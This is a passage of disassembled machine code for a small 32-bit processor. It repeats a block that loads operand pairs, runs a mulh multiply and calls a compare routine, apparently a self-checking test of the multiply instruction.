1f38: 0d 44 89 34 wl16 r9,0x2454
1f3c: 0d 60 01 23 wh16 r9,0x3
1f40: 10 40 01 29 ld32 r9,r9
1f44: 00 60 01 10 mulh r8,r16
1f48: 20 70 03 e2 movepc rret,8
1f4c: 14 30 f8 31 br 10 <compare>,#al
1f50: 00 10 00 41 add r2,1
1f54: 0d 40 4d 00 wl16 r8,0x260
1f58: 0d 60 01 03 wh16 r8,0x3
1f5c: 10 40 01 08 ld32 r8,r8
1f60: 0d 42 6a 1c wl16 r16,0x135c
1f64: 0d 60 02 03 wh16 r16,0x3
1f68: 10 40 02 10 ld32 r16,r16
1f6c: 0d 44 89 38 wl16 r9,0x2458
1f70: 0d 60 01 23 wh16 r9,0x3
1f74: 10 40 01 29 ld32 r9,r9
1f78: 00 60 01 10 mulh r8,r16
1f7c: 20 70 03 e2 movepc rret,8
1f80: 14 30 f8 24 br 10 <compare>,#al
1f84: 00 10 00 41 add r2,1
1f88: 0d 40 4d 04 wl16 r8,0x264
1f8c: 0d 60 01 03 wh16 r8,0x3
1f90: 10 40 01 08 ld32 r8,r8
1f94: 0d 42 6e 00 wl16 r16,0x1360
1f98: 0d 60 02 03 wh16 r16,0x3
1f9c: 10 40 02 10 ld32 r16,r16
1fa0: 0d 44 89 3c wl16 r9,0x245c
1fa4: 0d 60 01 23 wh16 r9,0x3
1fa8: 10 40 01 29 ld32 r9,r9
1fac: 00 60 01 10 mulh r8,r16
1fb0: 20 70 03 e2 movepc rret,8
1fb4: 14 30 f8 17 br 10 <compare>,#al
1fb8: 00 10 00 41 add r2,1
1fbc: 0d 40 4d 08 wl16 r8,0x268
1fc0: 0d 60 01 03 wh16 r8,0x3
1fc4: 10 40 01 08 ld32 r8,r8
1fc8: 0d 42 6e 04 wl16 r16,0x1364
1fcc: 0d 60 02 03 wh16 r16,0x3
1fd0: 10 40 02 10 ld32 r16,r16
1fd4: 0d 44 8d 20 wl16 r9,0x2460
1fd8: 0d 60 01 23 wh16 r9,0x3
1fdc: 10 40 01 29 ld32 r9,r9
1fe0: 00 60 01 10 mulh r8,r16
1fe4: 20 70 03 e2 movepc rret,8
1fe8: 14 30 f8 0a br 10 <compare>,#al
1fec: 00 10 00 41 add r2,1
1ff0: 0d 40 4d 0c wl16 r8,0x26c
1ff4: 0d 60 01 03 wh16 r8,0x3
1ff8: 10 40 01 08 ld32 r8,r8
1ffc: 0d 42 6e 08 wl16 r16,0x1368
2000: 0d 60 02 03 wh16 r16,0x3
2004: 10 40 02 10 ld32 r16,r16
2008: 0d 44 8d 24 wl16 r9,0x2464
200c: 0d 60 01 23 wh16 r9,0x3
2010: 10 40 01 29 ld32 r9,r9
2014: 00 60 01 10 mulh r8,r16
2018: 20 70 03 e2 movepc rret,8
201c: 14 30 f7 fd br 10 <compare>,#al
2020: 00 10 00 41 add r2,1
2024: 0d 40 4d 10 wl16 r8,0x270
2028: 0d 60 01 03 wh16 r8,0x3
202c: 10 40 01 08 ld32 r8,r8
2030: 0d 42 6e 0c wl16 r16,0x136c
2034: 0d 60 02 03 wh16 r16,0x3
2038: 10 40 02 10 ld32 r16,r16
203c: 0d 44 8d 28 wl16 r9,0x2468
2040: 0d 60 01 23 wh16 r9,0x3
2044: 10 40 01 29 ld32 r9,r9
2048: 00 60 01 10 mulh r8,r16
204c: 20 70 03 e2 movepc rret,8
2050: 14 30 f7 f0 br 10 <compare>,#al
2054: 00 10 00 41 add r2,1
2058: 0d 40 4d 14 wl16 r8,0x274
205c: 0d 60 01 03 wh16 r8,0x3
2060: 10 40 01 08 ld32 r8,r8
2064: 0d 42 6e 10 wl16 r16,0x1370
2068: 0d 60 02 03 wh16 r16,0x3
206c: 10 40 02 10 ld32 r16,r16
2070: 0d 44 8d 2c wl16 r9,0x246c
2074: 0d 60 01 23 wh16 r9,0x3
2078: 10 40 01 29 ld32 r9,r9
207c: 00 60 01 10 mulh r8,r16
2080: 20 70 03 e2 movepc rret,8
2084: 14 30 f7 e3 br 10 <compare>,#al
2088: 00 10 00 41 add r2,1
208c: 0d 40 4d 18 wl16 r8,0x278
2090: 0d 60 01 03 wh16 r8,0x3
2094: 10 40 01 08 ld32 r8,r8
2098: 0d 42 6e 14 wl16 r16,0x1374
209c: 0d 60 02 03 wh16 r16,0x3
20a0: 10 40 02 10 ld32 r16,r16
20a4: 0d 44 8d 30 wl16 r9,0x2470
20a8: 0d 60 01 23 wh16 r9,0x3
20ac: 10 40 01 29 ld32 r9,r9
20b0: 00 60 01 10 mulh r8,r16
20b4: 20 70 03 e2 movepc rret,8
20b8: 14 30 f7 d6 br 10 <compare>,#al
20bc: 00 10 00 41 add r2,1
20c0: 0d 40 4d 1c wl16 r8,0x27c
20c4: 0d 60 01 03 wh16 r8,0x3
20c8: 10 40 01 08 ld32 r8,r8
20cc: 0d 42 6e 18 wl16 r16,0x1378
20d0: 0d 60 02 03 wh16 r16,0x3
20d4: 10 40 02 10 ld32 r16,r16
20d8: 0d 44 8d 34 wl16 r9,0x2474
20dc: 0d 60 01 23 wh16 r9,0x3
20e0: 10 40 01 29 ld32 r9,r9
20e4: 00 60 01 10 mulh r8,r16
20e8: 20 70 03 e2 movepc rret,8
20ec: 14 30 f7 c9 br 10 <compare>,#al
20f0: 00 10 00 41 add r2,1
20f4: 0d 40 51 00 wl16 r8,0x280
20f8: 0d 60 01 03 wh16 r8,0x3
20fc: 10 40 01 08 ld32 r8,r8
2100: 0d 42 6e 1c wl16 r16,0x137c
2104: 0d 60 02 03 wh16 r16,0x3
2108: 10 40 02 10 ld32 r16,r16
210c: 0d 44 8d 38 wl16 r9,0x2478
2110: 0d 60 01 23 wh16 r9,0x3
2114: 10 40 01 29 ld32 r9,r9
2118: 00 60 01 10 mulh r8,r16
211c: 20 70 03 e2 movepc rret,8
2120: 14 30 f7 bc br 10 <compare>,#al
2124: 00 10 00 41 add r2,1
2128: 0d 40 51 04 wl16 r8,0x284
212c: 0d 60 01 03 wh16 r8,0x3
2130: 10 40 01 08 ld32 r8,r8
2134: 0d 42 72 00 wl16 r16,0x1380
2138: 0d 60 02 03 wh16 r16,0x3
213c: 10 40 02 10 ld32 r16,r16
2140: 0d 44 8d 3c wl16 r9,0x247c
2144: 0d 60 01 23 wh16 r9,0x3
2148: 10 40 01 29 ld32 r9,r9
214c: 00 60 01 10 mulh r8,r16
2150: 20 70 03 e2 movepc rret,8
2154: 14 30 f7 af br 10 <compare>,#al
2158: 00 10 00 41 add r2,1
215c: 0d 40 51 08 wl16 r8,0x288
2160: 0d 60 01 03 wh16 r8,0x3
2164: 10 40 01 08 ld32 r8,r8
2168: 0d 42 72 04 wl16 r16,0x1384
216c: 0d 60 02 03 wh16 r16,0x3
2170: 10 40 02 10 ld32 r16,r16
2174: 0d 44 91 20 wl16 r9,0x2480
2178: 0d 60 01 23 wh16 r9,0x3
217c: 10 40 01 29 ld32 r9,r9
2180: 00 60 01 10 mulh r8,r16
2184: 20 70 03 e2 movepc rret,8
2188: 14 30 f7 a2 br 10 <compare>,#al
218c: 00 10 00 41 add r2,1
2190: 0d 40 51 0c wl16 r8,0x28c
2194: 0d 60 01 03 wh16 r8,0x3
2198: 10 40 01 08 ld32 r8,r8
219c: 0d 42 72 08 wl16 r16,0x1388
21a0: 0d 60 02 03 wh16 r16,0x3
21a4: 10 40 02 10 ld32 r16,r16
21a8: 0d 44 91 24 wl16 r9,0x2484
21ac: 0d 60 01 23 wh16 r9,0x3
21b0: 10 40 01 29 ld32 r9,r9
21b4: 00 60 01 10 mulh r8,r16
21b8: 20 70 03 e2 movepc rret,8
21bc: 14 30 f7 95 br 10 <compare>,#al
21c0: 00 10 00 41 add r2,1
21c4: 0d 40 51 10 wl16 r8,0x290
21c8: 0d 60 01 03 wh16 r8,0x3
21cc: 10 40 01 08 ld32 r8,r8
21d0: 0d 42 72 0c wl16 r16,0x138c
21d4: 0d 60 02 03 wh16 r16,0x3
21d8: 10 40 02 10 ld32 r16,r16
21dc: 0d 44 91 28 wl16 r9,0x2488
21e0: 0d 60 01 23 wh16 r9,0x3
21e4: 10 40 01 29 ld32 r9,r9
21e8: 00 60 01 10 mulh r8,r16
21ec: 20 70 03 e2 movepc rret,8
21f0: 14 30 f7 88 br 10 <compare>,#al
21f4: 00 10 00 41 add r2,1
21f8: 0d 40 51 14 wl16 r8,0x294
21fc: 0d 60 01 03 wh16 r8,0x3
2200: 10 40 01 08 ld32 r8,r8
2204: 0d 42 72 10 wl16 r16,0x1390
2208: 0d 60 02 03 wh16 r16,0x3
220c: 10 40 02 10 ld32 r16,r16
2210: 0d 44 91 2c wl16 r9,0x248c
2214: 0d 60 01 23 wh16 r9,0x3
2218: 10 40 01 29 ld32 r9,r9
221c: 00 60 01 10 mulh r8,r16
2220: 20 70 03 e2 movepc rret,8
2224: 14 30 f7 7b br 10 <compare>,#al
2228: 00 10 00 41 add r2,1
222c: 0d 40 51 18 wl16 r8,0x298
2230: 0d 60 01 03 wh16 r8,0x3
2234: 10 40 01 08 ld32 r8,r8
2238: 0d 42 72 14 wl16 r16,0x1394
223c: 0d 60 02 03 wh16 r16,0x3
2240: 10 40 02 10 ld32 r16,r16
2244: 0d 44 91 30 wl16 r9,0x2490
2248: 0d 60 01 23 wh16 r9,0x3
224c: 10 40 01 29 ld32 r9,r9
2250: 00 60 01 10 mulh r8,r16
2254: 20 70 03 e2 movepc rret,8
2258: 14 30 f7 6e br 10 <compare>,#al
225c: 00 10 00 41 add r2,1
2260: 0d 40 51 1c wl16 r8,0x29c
2264: 0d 60 01 03 wh16 r8,0x3
2268: 10 40 01 08 ld32 r8,r8
226c: 0d 42 72 18 wl16 r16,0x1398
2270: 0d 60 02 03 wh16 r16,0x3
2274: 10 40 02 10 ld32 r16,r16
2278: 0d 44 91 34 wl16 r9,0x2494
227c: 0d 60 01 23 wh16 r9,0x3
2280: 10 40 01 29 ld32 r9,r9
2284: 00 60 01 10 mulh r8,r16
2288: 20 70 03 e2 movepc rret,8
228c: 14 30 f7 61 br 10 <compare>,#al
2290: 00 10 00 41 add r2,1
2294: 0d 40 55 00 wl16 r8,0x2a0
2298: 0d 60 01 03 wh16 r8,0x3
229c: 10 40 01 08 ld32 r8,r8
22a0: 0d 42 72 1c wl16 r16,0x139c
22a4: 0d 60 02 03 wh16 r16,0x3
22a8: 10 40 02 10 ld32 r16,r16
22ac: 0d 44 91 38 wl16 r9,0x2498
22b0: 0d 60 01 23 wh16 r9,0x3
22b4: 10 40 01 29 ld32 r9,r9
22b8: 00 60 01 10 mulh r8,r16
22bc: 20 70 03 e2 movepc rret,8
22c0: 14 30 f7 54 br 10 <compare>,#al
22c4: 00 10 00 41 add r2,1
22c8: 0d 40 55 04 wl16 r8,0x2a4
22cc: 0d 60 01 03 wh16 r8,0x3
22d0: 10 40 01 08 ld32 r8,r8
22d4: 0d 42 76 00 wl16 r16,0x13a0
22d8: 0d 60 02 03 wh16 r16,0x3
22dc: 10 40 02 10 ld32 r16,r16
22e0: 0d 44 91 3c wl16 r9,0x249c
22e4: 0d 60 01 23 wh16 r9,0x3
22e8: 10 40 01 29 ld32 r9,r9
22ec: 00 60 01 10 mulh r8,r16
22f0: 20 70 03 e2 movepc rret,8
22f4: 14 30 f7 47 br 10 <compare>,#al
22f8: 00 10 00 41 add r2,1
22fc: 0d 40 55 08 wl16 r8,0x2a8
2300: 0d 60 01 03 wh16 r8,0x3
2304: 10 40 01 08 ld32 r8,r8
2308: 0d 42 76 04 wl16 r16,0x13a4
230c: 0d 60 02 03 wh16 r16,0x3
2310: 10 40 02 10 ld32 r16,r16
2314: 0d 44 95 20 wl16 r9,0x24a0
2318: 0d 60 01 23 wh16 r9,0x3
231c: 10 40 01 29 ld32 r9,r9
2320: 00 60 01 10 mulh r8,r16
2324: 20 70 03 e2 movepc rret,8
2328: 14 30 f7 3a br 10 <compare>,#al
232c: 00 10 00 41 add r2,1
2330: 0d 40 55 0c wl16 r8,0x2ac
2334: 0d 60 01 03 wh16 r8,0x3
2338: 10 40 01 08 ld32 r8,r8
233c: 0d 42 76 08 wl16 r16,0x13a8
2340: 0d 60 02 03 wh16 r16,0x3
2344: 10 40 02 10 ld32 r16,r16
2348: 0d 44 95 24 wl16 r9,0x24a4
234c: 0d 60 01 23 wh16 r9,0x3
2350: 10 40 01 29 ld32 r9,r9
2354: 00 60 01 10 mulh r8,r16
2358: 20 70 03 e2 movepc rret,8
235c: 14 30 f7 2d br 10 <compare>,#al
2360: 00 10 00 41 add r2,1
2364: 0d 40 55 10 wl16 r8,0x2b0
2368: 0d 60 01 03 wh16 r8,0x3
236c: 10 40 01 08 ld32 r8,r8
2370: 0d 42 76 0c wl16 r16,0x13ac
2374: 0d 60 02 03 wh16 r16,0x3
2378: 10 40 02 10 ld32 r16,r16
237c: 0d 44 95 28 wl16 r9,0x24a8
2380: 0d 60 01 23 wh16 r9,0x3
2384: 10 40 01 29 ld32 r9,r9
2388: 00 60 01 10 mulh r8,r16
238c: 20 70 03 e2 movepc rret,8
2390: 14 30 f7 20 br 10 <compare>,#al
2394: 00 10 00 41 add r2,1
2398: 0d 40 55 14 wl16 r8,0x2b4
239c: 0d 60 01 03 wh16 r8,0x3
23a0: 10 40 01 08 ld32 r8,r8
23a4: 0d 42 76 10 wl16 r16,0x13b0
23a8: 0d 60 02 03 wh16 r16,0x3
23ac: 10 40 02 10 ld32 r16,r16
23b0: 0d 44 95 2c wl16 r9,0x24ac
23b4: 0d 60 01 23 wh16 r9,0x3
23b8: 10 40 01 29 ld32 r9,r9
23bc: 00 60 01 10 mulh r8,r16
23c0: 20 70 03 e2 movepc rret,8
23c4: 14 30 f7 13 br 10 <compare>,#al
23c8: 00 10 00 41 add r2,1
23cc: 0d 40 55 18 wl16 r8,0x2b8
23d0: 0d 60 01 03 wh16 r8,0x3
23d4: 10 40 01 08 ld32 r8,r8
23d8: 0d 42 76 14 wl16 r16,0x13b4
23dc: 0d 60 02 03 wh16 r16,0x3
23e0: 10 40 02 10 ld32 r16,r16
23e4: 0d 44 95 30 wl16 r9,0x24b0
23e8: 0d 60 01 23 wh16 r9,0x3
23ec: 10 40 01 29 ld32 r9,r9
23f0: 00 60 01 10 mulh r8,r16
23f4: 20 70 03 e2 movepc rret,8
23f8: 14 30 f7 06 br 10 <compare>,#al
23fc: 00 10 00 41 add r2,1
2400: 0d 40 55 1c wl16 r8,0x2bc
2404: 0d 60 01 03 wh16 r8,0x3
2408: 10 40 01 08 ld32 r8,r8
240c: 0d 42 76 18 wl16 r16,0x13b8
2410: 0d 60 02 03 wh16 r16,0x3
2414: 10 40 02 10 ld32 r16,r16
2418: 0d 44 95 34 wl16 r9,0x24b4
241c: 0d 60 01 23 wh16 r9,0x3
2420: 10 40 01 29 ld32 r9,r9
2424: 00 60 01 10 mulh r8,r16
2428: 20 70 03 e2 movepc rret,8
242c: 14 30 f6 f9 br 10 <compare>,#al
2430: 00 10 00 41 add r2,1
2434: 0d 40 59 00 wl16 r8,0x2c0
2438: 0d 60 01 03 wh16 r8,0x3
243c: 10 40 01 08 ld32 r8,r8
2440: 0d 42 76 1c wl16 r16,0x13bc
2444: 0d 60 02 03 wh16 r16,0x3
2448: 10 40 02 10 ld32 r16,r16
244c: 0d 44 95 38 wl16 r9,0x24b8
2450: 0d 60 01 23 wh16 r9,0x3
2454: 10 40 01 29 ld32 r9,r9
2458: 00 60 01 10 mulh r8,r16
245c: 20 70 03 e2 movepc rret,8
2460: 14 30 f6 ec br 10 <compare>,#al
2464: 00 10 00 41 add r2,1
2468: 0d 40 59 04 wl16 r8,0x2c4
246c: 0d 60 01 03 wh16 r8,0x3
2470: 10 40 01 08 ld32 r8,r8
2474: 0d 42 7a 00 wl16 r16,0x13c0
2478: 0d 60 02 03 wh16 r16,0x3
247c: 10 40 02 10 ld32 r16,r16
2480: 0d 44 95 3c wl16 r9,0x24bc
2484: 0d 60 01 23 wh16 r9,0x3
2488: 10 40 01 29 ld32 r9,r9
248c: 00 60 01 10 mulh r8,r16
2490: 20 70 03 e2 movepc rret,8
2494: 14 30 f6 df br 10 <compare>,#al
2498: 00 10 00 41 add r2,1
249c: 0d 40 59 08 wl16 r8,0x2c8
24a0: 0d 60 01 03 wh16 r8,0x3
24a4: 10 40 01 08 ld32 r8,r8
24a8: 0d 42 7a 04 wl16 r16,0x13c4
24ac: 0d 60 02 03 wh16 r16,0x3
24b0: 10 40 02 10 ld32 r16,r16
24b4: 0d 44 99 20 wl16 r9,0x24c0
24b8: 0d 60 01 23 wh16 r9,0x3
24bc: 10 40 01 29 ld32 r9,r9
24c0: 00 60 01 10 mulh r8,r16
24c4: 20 70 03 e2 movepc rret,8
24c8: 14 30 f6 d2 br 10 <compare>,#al
24cc: 00 10 00 41 add r2,1
24d0: 0d 40 59 0c wl16 r8,0x2cc
24d4: 0d 60 01 03 wh16 r8,0x3
24d8: 10 40 01 08 ld32 r8,r8
24dc: 0d 42 7a 08 wl16 r16,0x13c8
24e0: 0d 60 02 03 wh16 r16,0x3
24e4: 10 40 02 10 ld32 r16,r16
24e8: 0d 44 99 24 wl16 r9,0x24c4
24ec: 0d 60 01 23 wh16 r9,0x3
24f0: 10 40 01 29 ld32 r9,r9
24f4: 00 60 01 10 mulh r8,r16
24f8: 20 70 03 e2 movepc rret,8
24fc: 14 30 f6 c5 br 10 <compare>,#al
2500: 00 10 00 41 add r2,1
2504: 0d 40 59 10 wl16 r8,0x2d0
2508: 0d 60 01 03 wh16 r8,0x3
250c: 10 40 01 08 ld32 r8,r8
2510: 0d 42 7a 0c wl16 r16,0x13cc
2514: 0d 60 02 03 wh16 r16,0x3
2518: 10 40 02 10 ld32 r16,r16
251c: 0d 44 99 28 wl16 r9,0x24c8
2520: 0d 60 01 23 wh16 r9,0x3
2524: 10 40 01 29 ld32 r9,r9
2528: 00 60 01 10 mulh r8,r16
252c: 20 70 03 e2 movepc rret,8
2530: 14 30 f6 b8 br 10 <compare>,#al
2534: 00 10 00 41 add r2,1
2538: 0d 40 59 14 wl16 r8,0x2d4
253c: 0d 60 01 03 wh16 r8,0x3
2540: 10 40 01 08 ld32 r8,r8
2544: 0d 42 7a 10 wl16 r16,0x13d0
2548: 0d 60 02 03 wh16 r16,0x3
254c: 10 40 02 10 ld32 r16,r16
2550: 0d 44 99 2c wl16 r9,0x24cc
2554: 0d 60 01 23 wh16 r9,0x3
2558: 10 40 01 29 ld32 r9,r9
255c: 00 60 01 10 mulh r8,r16
2560: 20 70 03 e2 movepc rret,8
2564: 14 30 f6 ab br 10 <compare>,#al
2568: 00 10 00 41 add r2,1
256c: 0d 40 59 18 wl16 r8,0x2d8
2570: 0d 60 01 03 wh16 r8,0x3
2574: 10 40 01 08 ld32 r8,r8
2578: 0d 42 7a 14 wl16 r16,0x13d4
257c: 0d 60 02 03 wh16 r16,0x3
2580: 10 40 02 10 ld32 r16,r16
2584: 0d 44 99 30 wl16 r9,0x24d0
2588: 0d 60 01 23 wh16 r9,0x3
258c: 10 40 01 29 ld32 r9,r9
2590: 00 60 01 10 mulh r8,r16
2594: 20 70 03 e2 movepc rret,8
2598: 14 30 f6 9e br 10 <compare>,#al
259c: 00 10 00 41 add r2,1
25a0: 0d 40 59 1c wl16 r8,0x2dc
25a4: 0d 60 01 03 wh16 r8,0x3
25a8: 10 40 01 08 ld32 r8,r8
25ac: 0d 42 7a 18 wl16 r16,0x13d8
25b0: 0d 60 02 03 wh16 r16,0x3
25b4: 10 40 02 10 ld32 r16,r16
25b8: 0d 44 99 34 wl16 r9,0x24d4
25bc: 0d 60 01 23 wh16 r9,0x3
25c0: 10 40 01 29 ld32 r9,r9
25c4: 00 60 01 10 mulh r8,r16
25c8: 20 70 03 e2 movepc rret,8
25cc: 14 30 f6 91 br 10 <compare>,#al
25d0: 00 10 00 41 add r2,1
25d4: 0d 40 5d 00 wl16 r8,0x2e0
25d8: 0d 60 01 03 wh16 r8,0x3
25dc: 10 40 01 08 ld32 r8,r8
25e0: 0d 42 7a 1c wl16 r16,0x13dc
25e4: 0d 60 02 03 wh16 r16,0x3
25e8: 10 40 02 10 ld32 r16,r16
25ec: 0d 44 99 38 wl16 r9,0x24d8
25f0: 0d 60 01 23 wh16 r9,0x3
25f4: 10 40 01 29 ld32 r9,r9
25f8: 00 60 01 10 mulh r8,r16
25fc: 20 70 03 e2 movepc rret,8
2600: 14 30 f6 84 br 10 <compare>,#al
2604: 00 10 00 41 add r2,1
2608: 0d 40 5d 04 wl16 r8,0x2e4
260c: 0d 60 01 03 wh16 r8,0x3
2610: 10 40 01 08 ld32 r8,r8
2614: 0d 42 7e 00 wl16 r16,0x13e0
2618: 0d 60 02 03 wh16 r16,0x3
261c: 10 40 02 10 ld32 r16,r16
2620: 0d 44 99 3c wl16 r9,0x24dc
2624: 0d 60 01 23 wh16 r9,0x3
2628: 10 40 01 29 ld32 r9,r9
262c: 00 60 01 10 mulh r8,r16
2630: 20 70 03 e2 movepc rret,8
2634: 14 30 f6 77 br 10 <compare>,#al
2638: 00 10 00 41 add r2,1
263c: 0d 40 5d 08 wl16 r8,0x2e8
2640: 0d 60 01 03 wh16 r8,0x3
2644: 10 40 01 08 ld32 r8,r8
2648: 0d 42 7e 04 wl16 r16,0x13e4
264c: 0d 60 02 03 wh16 r16,0x3
2650: 10 40 02 10 ld32 r16,r16
2654: 0d 44 9d 20 wl16 r9,0x24e0
2658: 0d 60 01 23 wh16 r9,0x3
265c: 10 40 01 29 ld32 r9,r9
2660: 00 60 01 10 mulh r8,r16
2664: 20 70 03 e2 movepc rret,8
2668: 14 30 f6 6a br 10 <compare>,#al
266c: 00 10 00 41 add r2,1
2670: 0d 40 5d 0c wl16 r8,0x2ec
2674: 0d 60 01 03 wh16 r8,0x3
2678: 10 40 01 08 ld32 r8,r8
267c: 0d 42 7e 08 wl16 r16,0x13e8
2680: 0d 60 02 03 wh16 r16,0x3
2684: 10 40 02 10 ld32 r16,r16
2688: 0d 44 9d 24 wl16 r9,0x24e4
268c: 0d 60 01 23 wh16 r9,0x3
2690: 10 40 01 29 ld32 r9,r9
2694: 00 60 01 10 mulh r8,r16
2698: 20 70 03 e2 movepc rret,8
269c: 14 30 f6 5d br 10 <compare>,#al
26a0: 00 10 00 41 add r2,1
26a4: 0d 40 5d 10 wl16 r8,0x2f0
26a8: 0d 60 01 03 wh16 r8,0x3
26ac: 10 40 01 08 ld32 r8,r8
26b0: 0d 42 7e 0c wl16 r16,0x13ec
26b4: 0d 60 02 03 wh16 r16,0x3
26b8: 10 40 02 10 ld32 r16,r16
26bc: 0d 44 9d 28 wl16 r9,0x24e8
26c0: 0d 60 01 23 wh16 r9,0x3
26c4: 10 40 01 29 ld32 r9,r9
26c8: 00 60 01 10 mulh r8,r16
26cc: 20 70 03 e2 movepc rret,8
26d0: 14 30 f6 50 br 10 <compare>,#al
26d4: 00 10 00 41 add r2,1
26d8: 0d 40 5d 14 wl16 r8,0x2f4
26dc: 0d 60 01 03 wh16 r8,0x3
26e0: 10 40 01 08 ld32 r8,r8
26e4: 0d 42 7e 10 wl16 r16,0x13f0
26e8: 0d 60 02 03 wh16 r16,0x3
26ec: 10 40 02 10 ld32 r16,r16
26f0: 0d 44 9d 2c wl16 r9,0x24ec
26f4: 0d 60 01 23 wh16 r9,0x3
26f8: 10 40 01 29 ld32 r9,r9
26fc: 00 60 01 10 mulh r8,r16
2700: 20 70 03 e2 movepc rret,8
2704: 14 30 f6 43 br 10 <compare>,#al
2708: 00 10 00 41 add r2,1
270c: 0d 40 5d 18 wl16 r8,0x2f8
2710: 0d 60 01 03 wh16 r8,0x3
2714: 10 40 01 08 ld32 r8,r8
2718: 0d 42 7e 14 wl16 r16,0x13f4
271c: 0d 60 02 03 wh16 r16,0x3
2720: 10 40 02 10 ld32 r16,r16
2724: 0d 44 9d 30 wl16 r9,0x24f0
2728: 0d 60 01 23 wh16 r9,0x3
272c: 10 40 01 29 ld32 r9,r9
2730: 00 60 01 10 mulh r8,r16
2734: 20 70 03 e2 movepc rret,8
2738: 14 30 f6 36 br 10 <compare>,#al
273c: 00 10 00 41 add r2,1
2740: 0d 40 5d 1c wl16 r8,0x2fc
2744: 0d 60 01 03 wh16 r8,0x3
2748: 10 40 01 08 ld32 r8,r8
274c: 0d 42 7e 18 wl16 r16,0x13f8
2750: 0d 60 02 03 wh16 r16,0x3
2754: 10 40 02 10 ld32 r16,r16
2758: 0d 44 9d 34 wl16 r9,0x24f4
275c: 0d 60 01 23 wh16 r9,0x3
2760: 10 40 01 29 ld32 r9,r9
2764: 00 60 01 10 mulh r8,r16
2768: 20 70 03 e2 movepc rret,8
276c: 14 30 f6 29 br 10 <compare>,#al
2770: 00 10 00 41 add r2,1
2774: 0d 40 61 00 wl16 r8,0x300
2778: 0d 60 01 03 wh16 r8,0x3
277c: 10 40 01 08 ld32 r8,r8
2780: 0d 42 7e 1c wl16 r16,0x13fc
2784: 0d 60 02 03 wh16 r16,0x3
2788: 10 40 02 10 ld32 r16,r16
278c: 0d 44 9d 38 wl16 r9,0x24f8
2790: 0d 60 01 23 wh16 r9,0x3
2794: 10 40 01 29 ld32 r9,r9
2798: 00 60 01 10 mulh r8,r16
279c: 20 70 03 e2 movepc rret,8
27a0: 14 30 f6 1c br 10 <compare>,#al
27a4: 00 10 00 41 add r2,1
27a8: 0d 40 61 04 wl16 r8,0x304
27ac: 0d 60 01 03 wh16 r8,0x3
27b0: 10 40 01 08 ld32 r8,r8
27b4: 0d 42 82 00 wl16 r16,0x1400
27b8: 0d 60 02 03 wh16 r16,0x3
27bc: 10 40 02 10 ld32 r16,r16
27c0: 0d 44 9d 3c wl16 r9,0x24fc
27c4: 0d 60 01 23 wh16 r9,0x3
27c8: 10 40 01 29 ld32 r9,r9
27cc: 00 60 01 10 mulh r8,r16
27d0: 20 70 03 e2 movepc rret,8
27d4: 14 30 f6 0f br 10 <compare>,#al
27d8: 00 10 00 41 add r2,1
27dc: 0d 40 61 08 wl16 r8,0x308
27e0: 0d 60 01 03 wh16 r8,0x3
27e4: 10 40 01 08 ld32 r8,r8
27e8: 0d 42 82 04 wl16 r16,0x1404
27ec: 0d 60 02 03 wh16 r16,0x3
27f0: 10 40 02 10 ld32 r16,r16
27f4: 0d 44 a1 20 wl16 r9,0x2500
27f8: 0d 60 01 23 wh16 r9,0x3
27fc: 10 40 01 29 ld32 r9,r9
2800: 00 60 01 10 mulh r8,r16
2804: 20 70 03 e2 movepc rret,8
2808: 14 30 f6 02 br 10 <compare>,#al
280c: 00 10 00 41 add r2,1
2810: 0d 40 61 0c wl16 r8,0x30c
2814: 0d 60 01 03 wh16 r8,0x3
2818: 10 40 01 08 ld32 r8,r8
281c: 0d 42 82 08 wl16 r16,0x1408
2820: 0d 60 02 03 wh16 r16,0x3
2824: 10 40 02 10 ld32 r16,r16
2828: 0d 44 a1 24 wl16 r9,0x2504
282c: 0d 60 01 23 wh16 r9,0x3
2830: 10 40 01 29 ld32 r9,r9
2834: 00 60 01 10 mulh r8,r16
2838: 20 70 03 e2 movepc rret,8
283c: 14 30 f5 f5 br 10 <compare>,#al
2840: 00 10 00 41 add r2,1
2844: 0d 40 61 10 wl16 r8,0x310
2848: 0d 60 01 03 wh16 r8,0x3
284c: 10 40 01 08 ld32 r8,r8
2850: 0d 42 82 0c wl16 r16,0x140c
2854: 0d 60 02 03 wh16 r16,0x3
2858: 10 40 02 10 ld32 r16,r16
285c: 0d 44 a1 28 wl16 r9,0x2508
2860: 0d 60 01 23 wh16 r9,0x3
2864: 10 40 01 29 ld32 r9,r9
2868: 00 60 01 10 mulh r8,r16
286c: 20 70 03 e2 movepc rret,8
2870: 14 30 f5 e8 br 10 <compare>,#al
2874: 00 10 00 41 add r2,1
2878: 0d 40 61 14 wl16 r8,0x314
287c: 0d 60 01 03 wh16 r8,0x3
2880: 10 40 01 08 ld32 r8,r8
2884: 0d 42 82 10 wl16 r16,0x1410
2888: 0d 60 02 03 wh16 r16,0x3
288c: 10 40 02 10 ld32 r16,r16
2890: 0d 44 a1 2c wl16 r9,0x250c
2894: 0d 60 01 23 wh16 r9,0x3
2898: 10 40 01 29 ld32 r9,r9
289c: 00 60 01 10 mulh r8,r16
28a0: 20 70 03 e2 movepc rret,8
28a4: 14 30 f5 db br 10 <compare>,#al
28a8: 00 10 00 41 add r2,1
28ac: 0d 40 61 18 wl16 r8,0x318
28b0: 0d 60 01 03 wh16 r8,0x3
28b4: 10 40 01 08 ld32 r8,r8
28b8: 0d 42 82 14 wl16 r16,0x1414
28bc: 0d 60 02 03 wh16 r16,0x3
28c0: 10 40 02 10 ld32 r16,r16
28c4: 0d 44 a1 30 wl16 r9,0x2510
28c8: 0d 60 01 23 wh16 r9,0x3
28cc: 10 40 01 29 ld32 r9,r9
28d0: 00 60 01 10 mulh r8,r16
28d4: 20 70 03 e2 movepc rret,8
28d8: 14 30 f5 ce br 10 <compare>,#al
28dc: 00 10 00 41 add r2,1
28e0: 0d 40 61 1c wl16 r8,0x31c
28e4: 0d 60 01 03 wh16 r8,0x3
28e8: 10 40 01 08 ld32 r8,r8
28ec: 0d 42 82 18 wl16 r16,0x1418
28f0: 0d 60 02 03 wh16 r16,0x3
28f4: 10 40 02 10 ld32 r16,r16
28f8: 0d 44 a1 34 wl16 r9,0x2514
28fc: 0d 60 01 23 wh16 r9,0x3
2900: 10 40 01 29 ld32 r9,r9
2904: 00 60 01 10 mulh r8,r16
2908: 20 70 03 e2 movepc rret,8
290c: 14 30 f5 c1 br 10 <compare>,#al
2910: 00 10 00 41 add r2,1
2914: 0d 40 65 00 wl16 r8,0x320
2918: 0d 60 01 03 wh16 r8,0x3
291c: 10 40 01 08 ld32 r8,r8
2920: 0d 42 82 1c wl16 r16,0x141c
2924: 0d 60 02 03 wh16 r16,0x3
